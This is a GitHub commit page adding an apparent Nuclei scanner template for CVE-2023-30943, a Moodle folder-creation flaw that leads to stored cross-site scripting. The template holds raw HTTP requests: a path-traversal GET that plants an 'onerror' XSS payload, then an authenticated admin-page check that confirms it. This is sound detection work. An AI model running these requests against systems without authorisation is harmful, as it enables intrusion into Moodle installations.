Merge pull request #8120 from projectdiscovery/CVE-2023-30943

Create CVE-2023-30943.yaml
patch-1
Dhiyaneshwaran 2023-09-12 15:32:40 +05:30 committed by GitHub
commit 38048e3023
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 73 additions and 0 deletions

View File

@ -0,0 +1,73 @@
id: CVE-2023-30943
info:
name: Moodle - Cross-Site Scripting/Remote Code Execution
author: ritikchaddha
severity: medium
description: |
The vulnerability was found Moodle which exists because the application allows a user to control path of the older to create in TinyMCE loaders. A remote user can send a specially crafted HTTP request and create arbitrary folders on the system. Moodle versions 4.1.x before 4.1.3 and 4.2.x before 4.2.0 are susceptible to an unauthenticated arbitrary folder creation, tracked as CVE-2023-30943. An attacker can leverage the creation of arbitrary folders to carry out a Stored Cross-Site Scripting (XSS) attack on the administration panel, resulting in arbitrary code execution on the server as soon as an administrator visits the panel.
reference:
- https://www.sonarsource.com/blog/playing-dominos-with-moodles-security-1/?utm_source=twitter&utm_medium=social&utm_campaign=wordpress&utm_content=security&utm_term=mofu
- https://nvd.nist.gov/vuln/detail/CVE-2023-30943
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
cvss-score: 5.3
cve-id: CVE-2023-30943
cwe-id: CWE-73
metadata:
max-request: 2
shodan-query: title:"Moodle"
tags: cve,cve2023,moodle,xss,rce,authenticated
http:
- raw:
- |
GET /lib/editor/tiny/loader.php?rev=a/../../../../html/pix/f/<input><img%20src=x%20onerror=alert(document.domain)>.png HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
- |
GET /login/index.php HTTP/2
Host: {{Hostname}}
- |
POST /login/index.php HTTP/2
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
anchor=&logintoken={{token}}&username={{username}}&password={{password}}
- |
GET /admin/tool/filetypes/edit.php?name=add HTTP/1.1
Host: {{Hostname}}
host-redirects: true
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: body_4
words:
- "<img src=x onerror=alert(document.domain)>"
- ">archive"
- "File icon"
condition: and
- type: word
part: header_4
words:
- text/html
- type: status
part: header_4
status:
- 200
extractors:
- type: regex
part: body
name: token
group: 1
regex:
- 'name="logintoken" value="([a-zA-Z0-9]+)">'
internal: true